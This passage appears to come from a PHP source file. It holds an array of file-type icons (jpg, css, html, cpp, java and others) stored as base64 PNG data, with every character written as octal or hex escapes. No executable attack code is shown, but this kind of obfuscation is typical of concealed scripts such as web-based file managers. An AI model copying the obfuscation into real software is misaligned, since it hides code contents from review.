117\165\66\141\104\141\x62\x71\x46\121\161\x6e\62\124\110\143\124\113\x71\161\163\x4a\x78\156\x4d\x42\155\111\x56\x7a\143\146\67\121\101\101\x48\x68\64\x2b\x33\x4b\166\162\x71\157\161\104\x4d\120\111\x79\105\111\111\103\x43\x48\x36\63\x72\141\167\x61\113\103\170\166\x67\x6c\x4a\x41\156\x5a\163\152\157\x47\x77\166\101\166\165\x35\x68\147\122\x77\x66\117\70\167\114\x50\x35\x63\167\145\166\x38\x79\127\143\x4f\65\x30\101\65\x34\x52\161\x59\x38\x50\x6e\x45\170\105\x59\65\67\x77\x76\x34\120\156\x4c\132\x55\x79\x4d\156\x30\112\113\107\167\x61\122\x51\x4c\x6e\x57\x38\x66\155\x63\x63\x7a\101\x68\x52\x47\x44\131\x71\x6e\x64\121\x71\x58\x63\x77\120\x6e\x59\143\x78\x34\64\x4d\x51\x51\x69\x42\143\x71\63\164\x36\170\106\x43\121\x50\64\x37\x77\154\64\71\171\x52\x5a\167\64\x2b\157\131\x41\x41\x2b\152\111\61\63\101\x74\67\x57\x57\162\x35\145\x49\147\147\105\146\154\x69\60\x4d\x48\122\170\101\123\152\x73\x4d\172\x2f\115\x51\126\153\x49\131\125\x51\144\x68\x31\x64\x73\x67\x45\x67\151\x46\x57\110\53\101\x77\x77\x6c\x50\163\x34\x75\x59\165\x4a\102\107\x62\165\154\162\162\66\67\x49\105\156\x37\x62\x44\x71\162\146\x4e\x35\x42\115\x71\120\x30\x42\62\126\x63\x72\117\104\105\66\x6a\x4b\61\164\107\x31\166\x62\x64\x71\x38\53\145\103\104\x63\110\141\120\x61\147\156\142\x30\x55\104\x43\x67\57\145\x4d\x58\x33\x68\132\113\x6d\112\155\x36\x68\162\x41\123\70\x6f\x33\61\x38\130\115\116\x68\122\125\114\x5a\156\x55\x64\106\70\x2b\x6e\147\147\x47\120\65\71\57\x6a\x2b\160\x57\172\x55\107\124\x32\172\x37\163\x6b\x45\x79\x71\111\103\111\142\126\x37\x48\154\x45\x31\106\62\153\x74\x55\131\x62\x4e\53\57\x4e\64\125\63\53\103\x2b\x5a\145\65\106\x47\165\x74\130\172\146\x39\x57\x37\x4a\170\112\60\110\x38\x78\x42\x43\121\104\x66\161\165\x44\x58\x31\104\x4c\142\x74\147\x49\x67\x67\x7a\x63\x37\117\154\160\x4c\x4a\132\x43\161\144\x54\153\x4e\122\154\x4f\102\71\63\151\120\117\117\x58\x52\x64\150\62\x56\x5a\150\150\171\116\122\151\144\x4e\60\65\172\x57\144\x66\63\153\x76\164\113\67\151\x6b\x51\151\x5a\151\x77\127\x6d\57\167\x44\146\x36\116\x2f\150\x77\x6e\157\x66\x68\101\x41\101\101\x41\x41\123\125\126\x4f\122\x4b\65\x43\131\x49\x49\x3d", "\x6a\x70\147" => "\x69\126\x42\117\x52\167\x30\x4b\x47\x67\157\101\101\x41\101\116\123\125\x68\105\125\x67\x41\x41\101\102\x41\101\101\101\x41\121\x43\101\131\x41\x41\101\x41\146\70\57\x39\150\101\101\101\x41\x42\x48\116\x43\x53\x56\x51\111\x43\x41\x67\111\146\x41\x68\153\x69\101\x41\x41\101\101\154\167\x53\x46\154\172\x41\101\x41\116\61\x77\x41\101\x44\144\x63\102\121\x69\151\x62\145\101\x41\x41\101\102\x6c\60\x52\126\x68\60\x55\62\71\155\144\x48\x64\150\x63\x6d\x55\x41\x64\x33\x64\63\x4c\155\154\x75\x61\x33\116\152\x59\130\x42\x6c\x4c\x6d\x39\171\132\x35\166\x75\120\x42\157\x41\x41\101\x49\x63\x53\x55\x52\102\126\104\151\x4e\x6c\132\112\116\124\154\x4e\x68\107\111\x57\x66\x39\x2b\x76\x39\142\151\x38\106\161\156\101\x4e\152\126\x48\x54\157\103\x45\66\x41\x4e\x62\x67\170\x47\x55\x59\116\70\105\151\124\107\x51\112\x72\x73\103\x34\101\x67\x64\x4f\x47\117\x67\101\102\x6b\x43\152\x69\x63\x56\x49\x49\x31\x71\162\x2f\114\x53\x30\166\142\x66\x39\146\150\x31\147\167\163\172\121\144\x33\66\x65\x6e\120\x4f\145\x49\67\165\x37\x75\70\53\x4d\x4d\144\163\170\x78\153\61\155\x4f\x42\105\x35\x53\116\116\x30\123\63\x5a\x32\x64\147\66\141\172\145\x5a\107\x6f\71\106\101\113\130\125\152\143\121\x69\x42\x58\161\71\x48\160\x39\115\65\124\111\x77\170\x47\x33\x6d\x65\131\64\171\x5a\170\121\102\x35\x6e\x74\116\165\164\172\x63\x53\65\x78\x7a\166\71\x67\x39\65\x2f\166\x6f\164\163\126\131\150\x61\157\126\115\120\x54\112\x32\123\102\155\121\x53\x55\101\155\x45\x57\x56\x41\114\x49\147\x58\x41\x4e\x36\x38\x65\x6f\x46\172\x6a\x73\121\65\x52\63\x63\x77\x59\x50\x6c\53\x45\65\x6e\x58\x42\103\61\115\x4c\167\x76\151\60\x4a\102\x61\150\x53\x6f\152\x59\x57\x53\x68\x44\x49\147\126\154\x46\x65\x49\x77\x46\x6c\x2f\x7a\114\170\x79\112\x4e\x5a\141\126\113\61\107\x34\x30\64\104\x56\x64\125\x45\101\x6b\x34\67\167\156\171\x41\151\x55\143\115\66\107\155\153\x50\103\x39\112\113\170\x6c\x5a\162\x59\x5a\123\x67\x6c\x52\x54\x62\x47\107\x76\110\x46\x53\125\x35\165\x6e\x6a\x52\63\x79\x36\x47\114\117\x67\x46\x52\144\x6a\x51\66\170\x46\x63\111\x4a\131\157\127\x59\104\67\162\x59\156\122\x45\x31\x74\x61\x5a\x45\x73\60\x34\152\x32\126\x78\x47\70\71\x79\x68\126\x34\145\143\x51\x31\x75\53\164\x63\x4e\x49\146\143\172\x65\x5a\160\65\x35\x6f\172\151\x65\x52\154\126\122\x7a\146\x44\170\147\141\x62\x6c\x4b\126\x43\155\162\x6a\65\141\111\x61\x51\x4c\x53\170\130\165\120\143\x73\x35\x42\x67\x42\x67\152\105\53\x74\x51\x55\x56\x69\x74\172\x2f\110\x72\x6f\x71\x51\x59\124\x4f\x6e\x31\x43\x76\x49\x73\112\125\x4f\x68\x42\125\x5a\104\121\67\143\x33\122\x6e\171\x38\x66\161\114\x79\x67\x63\165\x7a\x45\x65\x4e\x52\123\x58\x43\102\x44\65\61\172\x2f\116\124\152\150\157\x35\x43\x4b\x6e\121\x4c\152\x79\60\143\127\130\x32\117\63\165\x38\x71\111\153\x4b\x34\x6c\x56\x30\x44\x45\165\146\157\x6e\65\x78\x53\123\x52\x4f\x43\x44\x35\151\170\x59\124\x49\157\x38\131\126\106\x6f\x51\x67\62\130\160\x56\x2f\x42\150\127\144\x58\x41\x45\x32\110\154\64\104\x71\x6c\x50\114\x6e\171\x38\57\125\114\160\x43\x39\x41\x46\x54\124\110\103\154\x2b\53\x2b\x51\156\110\x31\167\104\x57\x6a\x6b\x64\125\x36\x2f\x66\x5a\61\160\151\x53\166\65\111\x76\x33\x75\166\170\x59\x32\x6e\172\124\x35\x2f\x76\67\x6c\124\x49\104\150\x63\115\x6a\156\x2f\131\70\x6b\123\x71\x6e\62\63\164\67\x65\62\x76\x72\66\x4f\x6c\162\162\107\x34\155\x74\164\x62\x52\x61\x4c\132\x52\123\67\x57\122\150\x59\127\110\162\x36\117\x68\157\x75\71\126\161\x72\x63\63\x69\111\x4d\x75\x79\x64\162\61\145\63\57\x6f\x4c\x6c\124\101\165\x70\x4f\112\120\x61\162\x77\101\101\101\101\x41\x53\125\126\x4f\x52\113\65\103\131\x49\x49\75", "\x63\163\x73" => "\x69\x56\x42\x4f\x52\x77\60\113\107\x67\157\x41\x41\101\101\116\123\x55\x68\105\x55\147\101\101\101\x42\101\x41\101\x41\101\x51\103\x41\131\x41\x41\101\x41\146\x38\57\71\x68\x41\101\101\x41\x42\110\x4e\x43\123\x56\121\x49\103\x41\147\x49\x66\x41\150\153\151\x41\101\101\101\101\154\167\x53\106\154\172\x41\x41\101\x4e\x31\x77\101\101\104\144\143\x42\121\x69\x69\x62\145\101\101\101\x41\x42\154\60\122\126\150\60\x55\x32\x39\x6d\144\x48\x64\150\143\x6d\x55\x41\x64\63\144\x33\x4c\x6d\x6c\x75\x61\x33\x4e\x6a\131\x58\x42\154\114\155\x39\x79\x5a\65\166\x75\x50\102\x6f\101\x41\101\110\116\x53\125\x52\x42\x56\x44\x69\x4e\154\x5a\x4b\x39\x62\x68\116\102\106\105\141\x50\x5a\62\x65\70\x61\x78\166\x62\x49\x6d\x74\160\147\143\x70\x43\x49\153\111\x69\124\157\x4f\147\157\161\130\154\101\x57\x69\x51\x65\x41\101\x61\x53\102\61\66\57\x41\103\x38\x42\161\x2f\x67\x31\x6c\x55\x57\126\53\166\107\162\x56\x47\x30\153\157\x4f\167\x31\172\164\x2f\106\101\117\112\x72\x49\124\x45\63\107\66\x6b\53\x63\67\143\x63\53\x38\60\x70\164\x50\x70\141\x32\x50\115\x32\x44\x6c\x33\172\110\53\125\x45\x43\x4b\x58\125\156\65\161\124\103\x61\124\146\104\x67\143\x6a\x72\x49\163\x51\x77\151\x78\x56\71\147\x35\x78\x33\113\x35\132\114\x46\131\x66\x4a\144\x31\x58\x59\x2f\x53\x4e\x4b\x55\131\x76\70\x66\70\x4c\x41\x47\121\63\x51\x4f\x47\110\x37\x37\x65\103\x6b\156\x54\x6c\113\111\x6f\122\164\x4a\x61\151\67\127\x57\x68\x36\65\105\x64\122\163\101\141\106\146\x69\x76\142\70\x56\x38\104\x63\x6e\x6a\124\106\x34\67\61\110\x4f\x34\162\x64\142\101\112\x53\113\67\167\121\x41\x47\107\x4f\121\x57\155\x75\70\x39\x34\152\x48\172\170\110\x31\x42\x67\104\146\x62\x4f\x48\x32\101\x47\151\x74\x6b\144\x5a\x61\x76\x50\143\x55\x30\122\124\116\145\145\147\x67\x47\154\103\x65\x66\x6d\116\x37\x73\121\x59\x67\x37\x72\x56\x35\70\146\x6e\116\x6a\x52\x71\130\103\154\x6c\x37\151\146\x77\x7a\101\62\x4f\x58\x64\115\167\102\172\127\64\107\121\x47\63\60\x6a\x55\x72\107\x6d\103\165\x41\105\x47\x42\x4e\x55\x42\x42\122\147\156\x51\103\x57\x39\125\x41\171\107\x5a\60\116\x30\101\x4e\130\x6f\105\x4e\x4c\122\x4f\x31\141\124\61\x4e\70\126\x73\x4c\121\x43\x50\x65\101\x33\104\x36\x51\x37\117\161\146\147\110\121\x54\170\122\156\141\x73\127\65\x44\x6c\163\x5a\x71\x4a\x6a\104\x38\x52\155\x72\151\63\x44\x75\x39\62\x4b\53\146\104\x7a\x65\102\126\x51\120\61\162\x52\126\101\153\x43\x6c\61\x35\x54\154\x49\x36\112\67\x43\157\x44\x53\141\x44\x61\60\123\x4f\x34\63\101\x64\152\x59\x47\165\57\71\x4c\163\102\x45\154\162\125\x4a\103\163\x30\157\x52\150\161\x6f\161\x76\x42\151\x49\x67\130\117\x53\x7a\141\142\x6f\x42\x51\162\165\x51\x76\121\127\x76\x4f\x73\x63\x38\x53\x57\x4b\154\167\x67\157\132\143\x6c\x72\x48\130\167\x62\161\163\x47\127\x53\117\x6d\x30\x73\x45\71\125\x65\x45\120\x47\x47\x4f\121\125\x73\157\x69\x7a\57\120\104\x74\x30\x66\x76\125\105\160\x64\124\145\152\x6c\164\x5a\154\x64\154\x74\x61\x61\120\x4a\x38\150\160\x53\170\153\160\x39\115\x35\x6d\x63\57\156\64\x39\154\x73\71\x75\124\146\x6b\x65\163\126\x78\57\x47\x38\x33\53\x2b\x66\x2f\x41\142\x67\132\122\131\126\x37\x61\141\150\125\167\x41\101\101\101\x42\112\122\125\65\x45\162\153\x4a\x67\x67\147\75\75", "\x68\164\x6d\x6c" => "\151\126\102\117\x52\167\60\113\x47\147\157\x41\101\x41\101\x4e\x53\x55\x68\105\x55\x67\101\101\x41\102\x41\x41\x41\101\x41\x51\103\x41\x59\101\101\x41\x41\146\70\57\71\x68\101\101\101\x41\102\x48\x4e\x43\123\x56\121\111\103\101\147\x49\146\x41\150\153\x69\101\x41\x41\101\101\154\x77\x53\x46\x6c\x7a\x41\101\101\x4e\61\167\101\x41\x44\x64\143\102\121\x69\x69\x62\145\101\101\101\x41\102\x6c\60\122\126\150\x30\125\x32\x39\155\144\x48\x64\150\143\x6d\125\x41\144\x33\144\63\x4c\x6d\x6c\165\x61\63\x4e\152\131\x58\x42\x6c\x4c\x6d\71\171\x5a\x35\166\165\120\x42\157\x41\x41\101\x4a\x2f\123\x55\122\102\126\104\151\116\x6c\132\115\x39\142\x31\x52\130\105\111\x61\146\145\53\66\65\144\x39\144\x37\71\x77\120\x37\x72\162\x31\x6f\115\x65\x43\x41\163\117\x54\105\152\x70\x42\x51\x4b\x42\102\112\154\x79\x67\x53\x54\132\121\53\x48\124\x38\x42\x2f\147\x55\x56\x6f\153\62\x52\120\160\60\154\x4a\x49\x6a\123\127\x4a\106\x53\107\103\123\60\62\141\102\153\61\x34\x58\x42\103\127\132\x74\147\171\172\x62\x37\x4f\112\x37\x7a\x70\x6d\x68\x32\x4e\x67\x55\x54\147\x46\x54\x7a\57\x76\x4d\172\104\x73\172\x30\x65\162\161\x36\164\146\145\x2b\x7a\163\x69\x38\x6a\x6b\146\105\143\141\131\x6a\x72\130\x32\126\162\123\171\x73\x74\113\132\155\65\x74\142\141\162\x56\141\107\107\115\x2b\123\103\x77\x69\x44\x41\x59\x44\61\x74\x66\130\57\67\x42\x46\x55\x53\172\x6c\x65\x55\65\x52\x46\x41\101\157\70\x50\x44\170\x76\172\x7a\146\x47\x62\114\x78\x36\157\104\172\x4d\172\x58\117\65\102\x6c\65\116\x65\x57\x4c\x53\x2f\153\x78\x4a\115\x39\172\145\162\63\x65\153\x67\60\150\105\x45\x49\x41\x34\x4f\130\165\x69\x4a\x39\x2f\x65\60\141\164\127\x75\141\124\71\x69\x6c\x61\172\x53\x72\x74\x71\x59\167\x67\171\x75\71\x2f\104\142\152\57\66\104\153\63\x76\65\x6d\x6e\120\x56\x58\150\123\107\x65\x38\71\x36\x67\161\x49\163\113\x39\x35\x61\x66\105\x53\143\113\x68\x45\62\x61\x62\x47\x51\165\172\153\x39\121\x6e\x45\152\x61\x32\71\x7a\105\155\x77\155\x4f\64\165\x2f\x77\156\172\x67\x64\125\x46\145\70\x39\x78\x6a\155\110\161\x76\114\152\167\x37\53\122\x61\117\172\102\61\146\x6b\x5a\125\x68\165\124\127\111\117\x6f\x6f\163\102\153\x74\125\122\x39\111\x73\x58\x45\154\x70\x39\53\x37\141\x4f\x71\x4f\x4f\143\x77\x49\x59\x78\160\107\66\53\x47\x6e\x4a\165\160\70\53\x56\156\x70\62\x6c\153\x4b\x54\131\x32\x4a\114\x47\150\x38\115\x4a\x67\x64\x34\x69\111\x63\151\141\166\x55\x43\64\x6c\162\x47\x38\x64\x6f\x4b\161\x45\105\114\102\110\111\x38\x54\x47\x63\x48\126\53\x68\156\112\161\x4d\123\131\151\x4e\x68\x45\x32\x4e\x6a\172\x64\x65\105\63\150\x68\115\62\x33\x62\x31\x42\126\x38\x6c\x71\x5a\x59\x61\x7a\x76\122\172\x67\103\x6e\x4a\62\x75\x73\142\x33\x33\154\153\144\x72\x57\x2b\x77\x4e\151\x32\117\x33\x73\x31\x4b\x43\x69\143\x62\x62\70\141\x4b\115\103\153\x2f\x72\x56\117\x55\153\x59\x43\111\x78\161\x41\150\x72\x4c\57\x62\64\x35\x63\153\x2f\x50\116\166\141\x78\x77\x66\150\x38\157\125\x6d\63\61\x2b\x37\x53\x4b\x4f\123\x49\x67\x4b\x54\x31\x5a\121\x6b\x6a\x6b\64\103\x70\165\163\x70\117\x37\x76\x6a\x4e\153\x65\x48\x6e\163\x64\x72\x4f\x37\x67\147\x42\x46\106\70\105\113\162\x6c\x42\x42\106\154\x4e\x44\x70\x6b\x75\160\x36\145\x42\x46\170\146\141\110\114\157\110\115\x31\x71\151\x67\x39\x4b\145\66\x71\x43\x38\x34\x4c\172\x67\x67\x38\103\167\x4e\x37\53\x6b\104\123\107\66\167\166\116\x6b\x77\102\126\x35\144\x76\114\160\63\x6d\x78\x76\x63\166\x6d\x31\155\164\x6d\160\171\x75\x34\111\114\147\x67\67\x41\70\x4c\104\x74\x36\x4d\161\112\x55\116\116\x36\x36\x30\x6a\x2f\117\71\x39\53\115\x74\x4f\x4f\145\167\x31\152\113\132\x4a\144\172\x36\67\x6c\x4d\x65\x50\116\x6d\x6b\60\x39\x2b\153\143\117\x50\x4b\141\x57\x4b\131\x6e\132\x72\x67\150\x36\57\x4f\x6a\163\57\x39\120\x37\110\63\x48\x6d\x75\x74\x37\130\125\66\156\146\156\106\170\x55\127\x53\x4a\x4d\110\x47\x45\124\x65\x75\x74\120\x2f\x33\x69\126\121\126\101\x4f\143\x63\x33\x57\x34\130\141\62\63\x50\132\154\154\x32\x75\71\x2f\166\x33\x2b\x6c\x32\x75\x35\143\53\67\x4a\x48\x48\125\123\161\x56\53\157\61\107\64\x2f\x59\x37\126\116\62\101\x4e\60\67\141\61\107\x73\101\101\101\x41\101\123\125\x56\x4f\122\113\x35\x43\131\111\111\x3d", "\x74\170\x74" => "\x69\x56\x42\x4f\122\x77\60\x4b\x47\x67\x6f\x41\x41\x41\x41\116\123\x55\150\x45\x55\147\101\x41\101\x42\101\101\x41\101\101\x51\103\x41\131\101\101\x41\x41\x66\x38\x2f\x39\x68\x41\x41\101\x41\x42\x48\116\x43\x53\126\121\111\x43\101\x67\x49\x66\x41\150\x6b\x69\101\101\101\101\x41\154\x77\123\x46\x6c\172\101\x41\x41\x4e\61\167\x41\101\x44\x64\x63\x42\x51\x69\x69\142\x65\101\x41\x41\101\x42\154\60\x52\x56\150\x30\x55\x32\x39\155\144\x48\144\x68\x63\x6d\125\x41\144\x33\144\x33\114\x6d\x6c\165\141\x33\x4e\152\131\x58\x42\x6c\114\x6d\x39\171\132\x35\166\165\120\x42\x6f\101\x41\x41\x46\115\x53\125\x52\102\126\104\151\116\x6c\132\101\x39\x69\x73\112\101\x46\115\x64\57\150\x67\x63\x57\106\150\132\x52\112\106\116\x6f\114\114\132\60\141\x37\x58\x66\x53\164\104\114\162\x4c\146\167\x4d\x41\x71\145\x77\105\x49\x4c\x75\x36\170\126\x30\x6c\x67\x70\x67\151\145\131\x6a\62\x53\x62\124\144\150\163\x34\x71\x49\x50\150\x68\x6d\x47\57\x2b\144\x72\x48\x49\57\x48\x44\62\x76\x74\113\153\x33\124\144\61\64\131\x7a\57\115\x69\x45\x66\x6c\163\x37\x48\141\67\113\101\172\104\x55\x61\x2f\x58\167\x2f\x4f\x38\x70\70\150\160\155\156\x4b\x37\x33\124\x69\146\172\61\53\x69\164\122\x37\x35\166\x6f\57\127\x2b\160\125\x41\x2b\114\x35\120\110\x4d\x63\x6a\x63\x63\67\x68\156\x48\x75\112\x44\112\x44\172\170\x46\160\114\x6c\155\125\x41\162\116\x64\162\x75\164\x31\165\x41\126\x4a\113\143\x62\154\143\123\x6d\x2b\154\x46\x4d\120\150\105\101\102\x72\x4c\x57\113\115\113\121\x51\127\x69\x30\130\106\x4b\121\172\x44\171\152\x76\x48\x47\x32\x4d\121\x35\61\x7a\170\x73\x64\154\x73\101\x49\x6f\x55\x53\x69\155\x41\167\152\x6c\120\115\x35\61\x4f\x69\x78\161\x6c\x43\166\120\x35\166\x4c\x62\166\131\x44\x41\157\x33\124\x6e\145\127\x6c\163\127\62\117\x2f\x33\112\x61\144\110\165\70\x69\162\126\101\x51\155\x6b\x30\156\x4a\161\123\67\106\166\x77\x6b\117\150\60\x4f\112\144\114\57\146\101\145\x68\x30\x4f\x67\x41\x45\x51\x51\x44\x77\117\x4d\106\64\120\113\67\144\167\x64\x39\65\x6d\x47\103\x37\x33\126\x62\143\x72\x74\x63\x72\x51\122\104\125\x31\151\x6f\105\152\104\x47\x49\x43\x4c\120\x5a\x72\101\114\x71\x39\57\163\x6c\x31\x39\71\153\141\x79\x32\145\151\x4d\122\x52\x46\x4b\107\61\112\x73\165\171\x70\64\67\x57\x6d\151\151\x4b\105\x4a\106\131\x57\161\63\x57\115\x6b\155\123\x31\x65\154\60\x65\x6e\x74\161\101\x54\57\x54\142\104\x61\124\x64\162\x75\71\x2f\101\x62\117\x2f\x2f\x66\126\102\x33\x46\x77\x4a\x51\x41\101\x41\101\x42\x4a\x52\125\65\105\x72\x6b\x4a\x67\147\147\75\75", "\x63\x70\160" => "\x69\126\x42\117\122\x77\60\113\x47\x67\x6f\x41\101\101\101\x4e\x53\125\x68\105\125\x67\101\x41\101\x42\x41\101\x41\101\101\121\103\x41\131\101\x41\101\101\x66\70\57\71\150\x41\x41\x41\101\x42\x48\116\x43\123\x56\121\x49\x43\101\x67\x49\x66\x41\150\x6b\151\x41\101\101\101\101\154\x77\123\106\154\x7a\101\x41\101\116\61\x77\x41\101\104\x64\x63\x42\121\x69\151\x62\145\x41\x41\x41\x41\102\x6c\x30\x52\126\150\60\x55\x32\x39\x6d\144\110\x64\150\143\155\125\x41\x64\x33\144\x33\x4c\155\154\x75\x61\63\x4e\x6a\x59\130\102\154\x4c\155\71\x79\x5a\65\x76\165\120\102\x6f\x41\x41\x41\107\156\x53\125\x52\x42\x56\104\x69\x4e\154\126\111\170\x53\170\170\102\x47\110\60\x7a\146\156\x63\x72\144\65\x6f\104\x4e\x33\101\x45\125\x68\167\x4a\132\171\x46\143\x54\102\120\123\150\161\x43\x31\x49\166\147\x4c\x68\117\x51\120\x78\x4e\64\x32\x59\112\106\113\121\x6a\157\x4c\x73\x5a\x42\x55\113\132\111\151\141\122\132\123\114\x5a\x46\153\120\104\110\165\x4e\x6d\146\156\106\x52\144\117\x50\111\x77\63\x38\x38\61\x4d\161\x6a\x31\132\x31\x36\104\x33\167\127\x76\x65\146\x4f\57\x78\x76\x63\x65\x49\x4f\111\64\130\x6d\x58\156\124\117\x66\143\x45\x59\x34\171\125\x55\x68\x48\122\x47\x78\106\106\153\x57\157\60\x47\161\x31\x36\x76\121\64\160\65\x5a\63\x45\x7a\x6a\x6c\x30\x75\x31\61\60\117\x70\x30\104\60\154\161\x33\x77\x6a\103\x45\x31\156\161\x63\101\x78\x43\x47\x49\132\111\153\x61\x5a\x47\x31\106\164\x62\x61\x73\143\121\101\x6b\x4f\155\x49\155\145\107\x39\x7a\172\x33\x2b\123\x6f\x62\x34\x46\154\53\x67\62\x32\x4f\125\x53\x47\x44\x75\125\x52\156\x4c\114\x36\x5a\x51\x6d\143\170\x48\132\107\132\x49\131\x77\x79\70\x39\171\x50\x38\x4f\114\162\105\x2b\64\71\x39\x42\x43\x56\x67\144\127\x45\113\151\70\x38\162\62\120\70\71\170\x4e\x5a\145\x50\x37\146\x6e\x76\x59\x63\170\x42\155\x53\164\x7a\126\x33\x77\x2b\x66\163\x41\x30\x78\x57\102\x31\171\163\x31\132\x4a\x30\53\x75\104\53\x42\x73\64\107\x46\143\170\65\103\65\x47\x4d\x55\x49\x70\x79\x63\x61\152\171\144\104\x53\x43\105\122\x30\x59\x2f\146\x6b\x67\x41\103\x4d\101\126\154\x30\x55\157\107\104\x41\x44\62\x76\x68\x43\x4c\x7a\x63\116\x4d\60\116\x6d\102\150\x6e\161\115\x78\111\161\110\x63\113\x77\107\63\x45\x2f\x6a\x79\x2b\x78\x39\x2f\x55\143\62\x72\x6a\x63\67\x6f\60\107\x4b\171\x2b\162\x4f\117\60\132\x62\110\172\157\x49\x64\161\x2f\x77\x4b\144\x6f\147\x4c\x66\x62\x66\x78\x41\146\57\x73\x57\105\122\x4d\107\x67\x45\107\x47\53\x57\143\x62\x47\x71\170\x6e\x73\x66\x44\x6e\x48\x75\x39\x30\x2b\x79\x69\127\102\132\x33\115\102\x31\160\x62\x75\x33\141\x32\x44\x7a\107\123\x2b\x47\x52\131\171\x58\71\x38\x62\107\x52\150\x6a\121\x45\x53\63\x6c\x6e\x5a\144\x7a\x4d\171\121\x52\x4a\x51\x6f\x70\x61\x43\x31\x4c\x6e\171\x55\57\x30\x46\162\x44\141\x55\x55\151\103\151\150\x61\x72\x57\66\156\161\x62\160\132\162\x76\x64\142\157\65\x7a\121\122\x41\105\141\x61\x31\127\x57\57\70\110\107\x67\164\x4b\113\x42\x4d\166\x38\x66\64\101\101\x41\x41\x41\x53\x55\126\x4f\x52\113\x35\x43\131\111\x49\x3d", "\150" => "\151\x56\x42\x4f\x52\167\x30\113\x47\147\x6f\x41\101\x41\x41\x4e\x53\125\x68\105\125\147\101\x41\x41\102\x41\x41\x41\101\101\x51\x43\x41\131\x41\x41\x41\x41\x66\x38\57\71\150\101\101\x41\x41\x42\110\116\103\x53\x56\x51\x49\x43\101\x67\111\146\x41\x68\x6b\x69\x41\x41\101\101\101\154\167\123\106\x6c\x7a\x41\101\101\x4e\61\167\x41\101\104\x64\143\102\121\x69\151\x62\145\101\x41\101\101\x42\x6c\60\122\126\150\x30\125\62\x39\155\x64\110\x64\150\143\x6d\x55\101\x64\x33\x64\63\x4c\x6d\x6c\165\x61\63\116\152\131\130\x42\x6c\114\155\71\171\132\65\x76\165\x50\102\x6f\x41\x41\x41\106\x6b\123\125\x52\102\x56\x44\151\116\x6c\x5a\111\170\x62\164\x74\x41\105\x45\x55\x66\x56\53\117\x6f\125\113\x47\103\150\x56\157\x68\x51\101\101\63\70\x68\156\123\x75\x48\x62\156\117\x37\x69\x50\x44\65\x44\145\102\70\x68\x42\x63\147\113\126\153\x64\x33\121\x51\x6d\x52\121\147\113\x48\x4b\x67\116\x77\x5a\123\x45\x45\165\132\63\132\123\x4d\x4c\111\x70\x55\167\155\x69\x44\x30\171\170\155\120\x32\104\57\x2b\144\x50\x74\154\x67\163\172\x6c\x58\x31\112\x71\126\60\x78\x68\105\x49\x49\122\121\151\70\151\x57\142\172\53\146\x46\144\x44\x71\x64\124\x53\131\x54\121\x67\x6a\57\122\125\64\x70\x73\144\61\165\x32\x57\167\62\x39\170\112\152\x6e\117\126\65\x54\157\172\x78\x47\101\110\x6b\145\x55\x35\132\x6c\152\115\170\115\x38\172\163\113\104\114\101\x6a\150\x64\x55\106\130\x66\146\113\x30\x6f\131\x58\x41\67\x67\x42\67\61\x65\x74\61\121\126\x61\x5a\161\155\112\130\127\150\64\114\x38\x63\x56\x2b\x2f\63\117\155\x69\141\102\152\107\172\57\x71\143\x45\61\111\103\x42\x4e\x30\67\x32\x6e\x4f\x45\x54\x68\x30\x48\x66\x68\165\x77\x73\x76\102\57\x67\x74\x63\115\164\x79\x46\145\x42\103\166\171\152\x6f\71\x38\125\x50\x6e\x53\105\161\150\x37\x65\147\x53\x64\x76\106\124\x78\102\x2f\x42\66\x78\x4b\171\x4e\x62\132\127\122\63\x57\x58\70\110\102\170\x56\131\x71\70\x41\53\107\x78\64\x63\155\x78\155\x68\x44\166\x6a\x4c\57\153\x35\66\103\156\x67\x41\x72\57\170\61\x42\170\x34\66\171\x64\124\x67\61\x6b\x39\x68\x62\70\x44\112\170\x51\153\70\x67\151\146\x48\141\x33\x38\152\67\116\65\x36\111\x4d\x61\x75\150\x65\x70\156\x39\x65\132\x69\x39\x65\x65\64\x48\x50\x7a\125\161\126\142\126\66\x37\x74\x72\121\126\x53\x31\172\x56\120\153\162\63\x6b\146\x67\x71\161\62\x46\153\123\x6b\114\x49\161\x43\107\117\115\x2f\162\66\65\142\x4d\125\x61\x4b\157\x6b\102\x45\123\x68\155\116\x52\x74\146\162\x39\x66\160\155\165\126\170\53\117\153\x62\x42\143\104\150\143\152\x38\146\152\x36\x39\x38\x41\x55\x6e\x50\x6f\x2b\130\x46\x59\x68\147\x41\x41\101\x41\102\112\122\125\65\x45\162\153\x4a\147\x67\x67\x3d\75", "\152\141\166\141" => "\151\x56\x42\x4f\122\x77\60\113\107\x67\157\x41\x41\101\x41\x4e\x53\x55\x68\x45\125\x67\x41\x41\101\x42\x41\101\x41\x41\x41\x51\x43\101\x59\x41\101\101\101\x66\x38\x2f\71\x68\x41\101\101\101\x42\x48\116\x43\x53\x56\121\x49\x43\x41\147\111\x66\x41\x68\153\x69\101\101\101\x41\101\x6c\167\123\106\154\172\x41\x41\101\116\61\167\101\101\104\x64\143\102\x51\x69\151\142\145\x41\x41\x41\x41\x42\x6c\60\122\126\x68\60\125\62\71\155\144\110\144\150\x63\x6d\125\x41\144\63\x64\63\x4c\155\154\165\x61\x33\x4e\x6a\131\x58\x42\154\x4c\x6d\x39\x79\132\x35\166\x75\x50\x42\157\101\101\101\111\120\x53\x55\x52\x42\126\x44\x69\116\154\x5a\120\x50\x61\170\116\x42\107\x49\x61\x66\156\143\x78\x75\155\163\141\60\154\161\x55\x47\170\107\101\125\162\x43\x4b\160\x67\151\x49\x42\x72\131\113\103\x46\104\172\60\125\163\57\x2b\x42\x66\125\x69\71\165\112\144\66\113\110\161\121\121\x2f\x71\x50\53\104\106\x69\167\125\x52\145\160\x48\107\147\60\111\117\x32\152\124\x51\x6d\x6f\151\x57\131\x72\x55\160\125\x76\x73\67\66\143\172\163\162\x49\x66\x51\x51\116\164\x74\x77\122\x66\x6d\115\104\x50\166\x2b\57\102\x39\63\172\x42\117\163\126\151\70\141\x59\167\x5a\x74\x64\x61\145\x34\172\x38\153\x68\103\x68\x4a\x4b\145\70\x37\x68\125\113\x68\154\x4d\61\x6d\145\x39\x50\x70\x4e\105\x4b\111\x61\110\120\x68\x47\146\x62\141\x55\x47\x74\x76\162\141\126\127\161\172\105\67\117\x7a\x73\154\x6c\x56\113\x39\x76\x75\x2b\152\x6c\111\157\x4d\x4f\66\165\57\x38\122\141\x2f\x73\x74\126\157\67\104\x6a\63\146\x5a\71\x4b\x70\x64\x49\x72\147\x69\x41\147\103\101\x4c\103\x4d\x4e\x79\x7a\x32\106\151\151\67\x64\60\104\71\x4d\x55\x37\151\112\53\146\144\x39\170\164\65\64\121\170\112\x6a\x72\70\144\64\